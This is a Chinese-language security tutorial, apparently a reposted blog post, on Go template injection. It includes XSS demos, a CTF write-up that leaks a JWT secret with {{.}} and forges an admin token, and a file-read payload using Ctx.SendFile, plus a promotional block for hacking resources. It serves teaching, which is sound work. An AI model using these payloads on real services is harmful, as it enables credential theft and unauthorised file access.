前言
作為強型別的靜態語言,golang的安全屬性從編譯程序就能夠避免大多數安全問題,一般來說也唯有依賴庫和開發者自己所撰寫的操作漏洞,才有可能形成漏洞利用點,在本文,主要學習探討一下golang的一些ssti模板注入問題,
GO模板引擎
Go 提供了兩個模板包,一個是 text/template,另一個是html/template,text/template對 XSS 或任何型別的 HTML 編碼都沒有保護,因此該模板并不適合構建 Web 應用程式,而html/template與text/template基本相同,但增加了HTML編碼等安全保護,更加適用于構建web應用程式,
template簡介
template之所以稱作為模板的原因就是其由靜態內容和動態內容所組成,可以根據動態內容的變化而生成不同的內容資訊交由客戶端,以下即一個簡單例子
模板內容 Hello, {{.Name}} Welcome to go web programming…
期待輸出 Hello, liumiaocn Welcome to go web programming…
而作為go所提供的模板包,text/template和html/template的主要區別就在于對于特殊字符的轉義與轉義函式的不同,但其原理基本一致,均是動靜態內容結合,以下是兩種模板的簡單演示,
text/template
package main ? import ( "net/http" "text/template" ) ? type User struct { ID int Name string Email string Password string } ? func StringTpl2Exam(w http.ResponseWriter, r *http.Request) { user := &User{1,"John", "[email protected]", "test123"} r.ParseForm() tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}` data := map[string]string{ "Name": user.Name, "Email": user.Email, } html := template.Must(template.New("login").Parse(tpl)) html.Execute(w, data) } ? func main() { server := http.Server{ Addr: "127.0.0.1:8888", } http.HandleFunc("/string", StringTpl2Exam) server.ListenAndServe() } ?
struct是定義了的一個結構體,在go中,我們是通過結構體來類比一個物件,因此他的欄位就是一個物件的屬性,在該實體中,我們所期待的輸出內容為下
模板內容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}
期待輸出 <h1>Hi, John</h1><br>Your Email is [email protected]

可以看得出來,當傳入引數可控時,就會經過動態內容生成不同的內容,而我們又可以知道,go模板是提供字串列印功能的,我們就有機會實作xss,
package main ? import ( "net/http" "text/template" ) ? type User struct { ID int Name string Email string Password string } ? func StringTpl2Exam(w http.ResponseWriter, r *http.Request) { user := &User{1,"John", "[email protected]", "test123"} r.ParseForm() tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}` data := map[string]string{ "Name": user.Name, "Email": user.Email, } html := template.Must(template.New("login").Parse(tpl)) html.Execute(w, data) } ? func main() { server := http.Server{ Addr: "127.0.0.1:8888", } http.HandleFunc("/string", StringTpl2Exam) server.ListenAndServe() }
模板內容 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}
期待輸出 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is [email protected]
實際輸出 彈出/xss/

這里就是text/template和html/template的最大不同了,
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
html/template
同樣的例子,但是我們把匯入的模板包變成html/template
package main ? import ( "net/http" "html/template" ) ? type User struct { ID int Name string Email string Password string } ? func StringTpl2Exam(w http.ResponseWriter, r *http.Request) { user := &User{1,"John", "[email protected]", "test123"} r.ParseForm() tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}` data := map[string]string{ "Name": user.Name, "Email": user.Email, } html := template.Must(template.New("login").Parse(tpl)) html.Execute(w, data) } ? func main() { server := http.Server{ Addr: "127.0.0.1:8888", } http.HandleFunc("/string", StringTpl2Exam) server.ListenAndServe() }
?

可以看到,xss陳述句已經被轉義物體化了,因此對于html/template來說,傳入的script和js都會被轉義,很好地防范了xss,但text/template也提供了內置函式html來轉義特殊字符,除此之外還有js,也存在template.HTMLEscapeString等轉義函式,
而通過html/template包等,go提供了諸如Parse/ParseFiles/Execute等方法可以從字串或者檔案加載模板然后注入資料形成最終要顯示的結果,
html/template 包會做一些編碼來幫助防止代碼注入,而且這種編碼方式是背景關系相關的,這意味著它可以發生在 HTML、CSS、JavaScript 甚至 URL 中,模板庫將確定如何正確編碼文本,
template常用基本語法
在{{}}內的操作稱之為pipeline
{{.}} 表示當前物件,如user物件
?
{{.FieldName}} 表示物件的某個欄位
?
{{range …}}{{end}} go中for…range語法類似,回圈
?
{{with …}}{{end}} 當前物件的值,背景關系
?
{{if …}}{{else}}{{end}} go中的if-else語法類似,條件選擇
?
{{xxx | xxx}} 左邊的輸出作為右邊的輸入
?
{{template "navbar"}} 引入子模版
漏洞演示
在go中檢測 SSTI 并不像發送 {{7*7}} 并在源代碼中檢查 49 那么簡單,我們需要瀏覽檔案以查找僅 Go 原生模板中的行為,最常見的就是占位符.
在template中,點"."代表當前作用域的當前物件,它類似于java/c++的this關鍵字,類似于perl/python的self,
package main ? import ( "net/http" "text/template" ) ? type User struct { ID int Name string Email string Password string } ? func StringTpl2Exam(w http.ResponseWriter, r *http.Request) { user := &User{1,"John", "[email protected]", "test123"} r.ParseForm() tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}` data := map[string]string{ "Name": user.Name, "Email": user.Email, } html := template.Must(template.New("login").Parse(tpl)) html.Execute(w, data) } ? func main() { server := http.Server{ Addr: "127.0.0.1:8888", } http.HandleFunc("/string", StringTpl2Exam) server.ListenAndServe() }
輸出為
模板內容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}
期待輸出 <h1>Hi, John</h1><br>Your Email is map[Email:[email protected] Name:John]
可以看到結構體內的都會被列印出來,我們也常常利用這個檢測是否存在SSTI,
接下來就以幾道題目來驗證一下
[LineCTF2022]gotm
package main ? import ( "encoding/json" "fmt" "log" "net/http" "os" "text/template" ? "github.com/golang-jwt/jwt" ) ? type Account struct { id string pw string is_admin bool secret_key string } ? type AccountClaims struct { Id string `json:"id"` Is_admin bool `json:"is_admin"` jwt.StandardClaims } ? type Resp struct { Status bool `json:"status"` Msg string `json:"msg"` } ? type TokenResp struct { Status bool `json:"status"` Token string `json:"token"` } ? var acc []Account var secret_key = os.Getenv("KEY") var flag = os.Getenv("FLAG") var admin_id = os.Getenv("ADMIN_ID") var admin_pw = os.Getenv("ADMIN_PW") ? func clear_account() { acc = acc[:1] } ? func get_account(uid string) Account { for i := range acc { if acc[i].id == uid { return acc[i] } } return Account{} } ? func jwt_encode(id string, is_admin bool) (string, error) { claims := AccountClaims{ id, is_admin, jwt.StandardClaims{}, } token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) return token.SignedString([]byte(secret_key)) } ? func jwt_decode(s string) (string, bool) { token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) { return []byte(secret_key), nil }) if err != nil { fmt.Println(err) return "", false } if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid { return claims.Id, claims.Is_admin } return "", false } ? func auth_handler(w http.ResponseWriter, r *http.Request) { uid := r.FormValue("id") upw := r.FormValue("pw") if uid == "" || upw == "" { return } if len(acc) > 1024 { clear_account() } user_acc := get_account(uid) if user_acc.id != "" && user_acc.pw == upw { token, err := jwt_encode(user_acc.id, user_acc.is_admin) if err != nil { return } p := TokenResp{true, token} res, err := json.Marshal(p) if err != nil { } w.Write(res) return } w.WriteHeader(http.StatusForbidden) return } ? func regist_handler(w http.ResponseWriter, r *http.Request) { uid := r.FormValue("id") upw := r.FormValue("pw") ? if uid == "" || upw == "" { return } ? if get_account(uid).id != "" { w.WriteHeader(http.StatusForbidden) return } if len(acc) > 4 { clear_account() } new_acc := Account{uid, upw, false, secret_key} acc = append(acc, new_acc) ? p := Resp{true, ""} res, err := json.Marshal(p) if err != nil { } w.Write(res) return } ? func flag_handler(w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token") if token != "" { id, is_admin := jwt_decode(token) if is_admin == true { p := Resp{true, "Hi " + id + ", flag is " + flag} res, err := json.Marshal(p) if err != nil { } w.Write(res) return } else { w.WriteHeader(http.StatusForbidden) return } } } ? func root_handler(w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token") if token != "" { id, _ := jwt_decode(token) acc := get_account(id) tpl, err := template.New("").Parse("Logged in as " + acc.id) if err != nil { } tpl.Execute(w, &acc) } else { ? return } } ? func main() { admin := Account{admin_id, admin_pw, true, secret_key} acc = append(acc, admin) ? http.HandleFunc("/", root_handler) http.HandleFunc("/auth", auth_handler) http.HandleFunc("/flag", flag_handler) http.HandleFunc("/regist", regist_handler) log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil)) }
我們先對幾個路由和其對應的函式進行分析,
struct結構
type Account struct { id string pw string is_admin bool secret_key string }
注冊功能
func regist_handler(w http.ResponseWriter, r *http.Request) { uid := r.FormValue("id") upw := r.FormValue("pw") ? if uid == "" || upw == "" { return } ? if get_account(uid).id != "" { w.WriteHeader(http.StatusForbidden) return } if len(acc) > 4 { clear_account() } new_acc := Account{uid, upw, false, secret_key} //創建新用戶 acc = append(acc, new_acc) ? p := Resp{true, ""} res, err := json.Marshal(p) if err != nil { } w.Write(res) return }
登錄功能
func auth_handler(w http.ResponseWriter, r *http.Request) { uid := r.FormValue("id") upw := r.FormValue("pw") if uid == "" || upw == "" { return } if len(acc) > 1024 { clear_account() } user_acc := get_account(uid) if user_acc.id != "" && user_acc.pw == upw { //檢驗id和pw token, err := jwt_encode(user_acc.id, user_acc.is_admin) if err != nil { return } p := TokenResp{true, token} //回傳token res, err := json.Marshal(p) if err != nil { } w.Write(res) return } w.WriteHeader(http.StatusForbidden) return }
認證功能
func root_handler(w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token") if token != "" { //根據token解出id,根據uid取出對應account id, _ := jwt_decode(token) acc := get_account(id) tpl, err := template.New("").Parse("Logged in as " + acc.id) if err != nil { } tpl.Execute(w, &acc) } else { ? return } }
得到account
func get_account(uid string) Account { for i := range acc { if acc[i].id == uid { return acc[i] } } return Account{} }
flag路由
func flag_handler(w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token") if token != "" { id, is_admin := jwt_decode(token) if is_admin == true { //將is_admin修改為true即可得到flag p := Resp{true, "Hi " + id + ", flag is " + flag} res, err := json.Marshal(p) if err != nil { } w.Write(res) return } else { w.WriteHeader(http.StatusForbidden) return } } }
所以思路就清晰了,我們需要得到secret_key,然后繼續jwt偽造得到flag,
而由于root_handler函式中得到的acc是陣列中的地址,即會在全域變數acc函式中查找我們的用戶,這時傳入{{.secret_key}}會回傳空,所以我們用{{.}}來得到結構體內所有內容,
/regist?id={{.}}&pw=123

/auth?id={{.}}&pw=123{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"}

帶上token重新訪問
Logged in as {{{.}} 123 false this_is_f4Ke_key}

得到secret_key,進行jwt偽造,把 is_admin修改為true,key填上secret_key得到
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.3OXFk-f_S2XqPdzHnl0esmJQXuTSXuA1IbpaGOMyvWo

帶上token訪問/flag

[WeCTF2022]request-bin
潔白一片,使用{{.}}進行檢測

這道題目采用的框架是iris,用戶可以對日志的格式引數進行控制,而引數又會被當成模板渲染,所以我們就可以利用該點進行ssti,
我們需要的是進行檔案的讀取,所以我們需要看看iris的accesslog庫的模板注入如何利用,
在Accesslog的結構體中可以發現
type Log struct { // The AccessLog instance this Log was created of. Logger *AccessLog `json:"-" yaml:"-" toml:"-"` ? // The time the log is created. Now time.Time `json:"-" yaml:"-" toml:"-"` // TimeFormat selected to print the Time as string, // useful on Template Formatter. TimeFormat string `json:"-" yaml:"-" toml:"-"` // Timestamp the Now's unix timestamp (milliseconds). Timestamp int64 `json:"timestamp" csv:"timestamp"` ? // Request-Response latency. Latency time.Duration `json:"latency" csv:"latency"` // The response status code. Code int `json:"code" csv:"code"` // Init request's Method and Path. Method string `json:"method" csv:"method"` Path string `json:"path" csv:"path"` // The Remote Address. IP string `json:"ip,omitempty" csv:"ip,omitempty"` // Sorted URL Query arguments. Query []memstore.StringEntry `json:"query,omitempty" csv:"query,omitempty"` // Dynamic path parameters. PathParams memstore.Store `json:"params,omitempty" csv:"params,omitempty"` // Fields any data information useful to represent this Log. Fields memstore.Store `json:"fields,omitempty" csv:"fields,omitempty"` // The Request and Response raw bodies. // If they are escaped (e.g. JSON), // A third-party software can read it through: // data, _ := strconv.Unquote(log.Request) // err := json.Unmarshal([]byte(data), &customStruct) Request string `json:"request,omitempty" csv:"request,omitempty"` Response string `json:"response,omitempty" csv:"response,omitempty"` // The actual number of bytes received and sent on the network (headers + body or body only). BytesReceived int `json:"bytes_received,omitempty" csv:"bytes_received,omitempty"` BytesSent int `json:"bytes_sent,omitempty" csv:"bytes_sent,omitempty"` ? // A copy of the Request's Context when Async is true (safe to use concurrently), // otherwise it's the current Context (not safe for concurrent access). Ctx *context.Context `json:"-" yaml:"-" toml:"-"` }
這里我們經過審查,會發現context里面存在SendFile進行檔案強制下載,

所以我們可以構造payload如下
{{ .Ctx.SendFile "/flag" "1.txt"}}

后言
golang的template跟很多模板引擎的語法差不多,比如雙花括號指定可決議的物件,假如我們傳入的引數是可決議的,就有可能造成泄露,其本質就是合并替換,而常用的檢測payload可以用占位符.,對于該漏洞的防御也是多注意對傳入引數的控制,
更多靶場實驗練習、網安學習資料,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/538162.html
標籤:其他
上一篇:O-MVLL代碼混淆方式
下一篇:第二次打靶
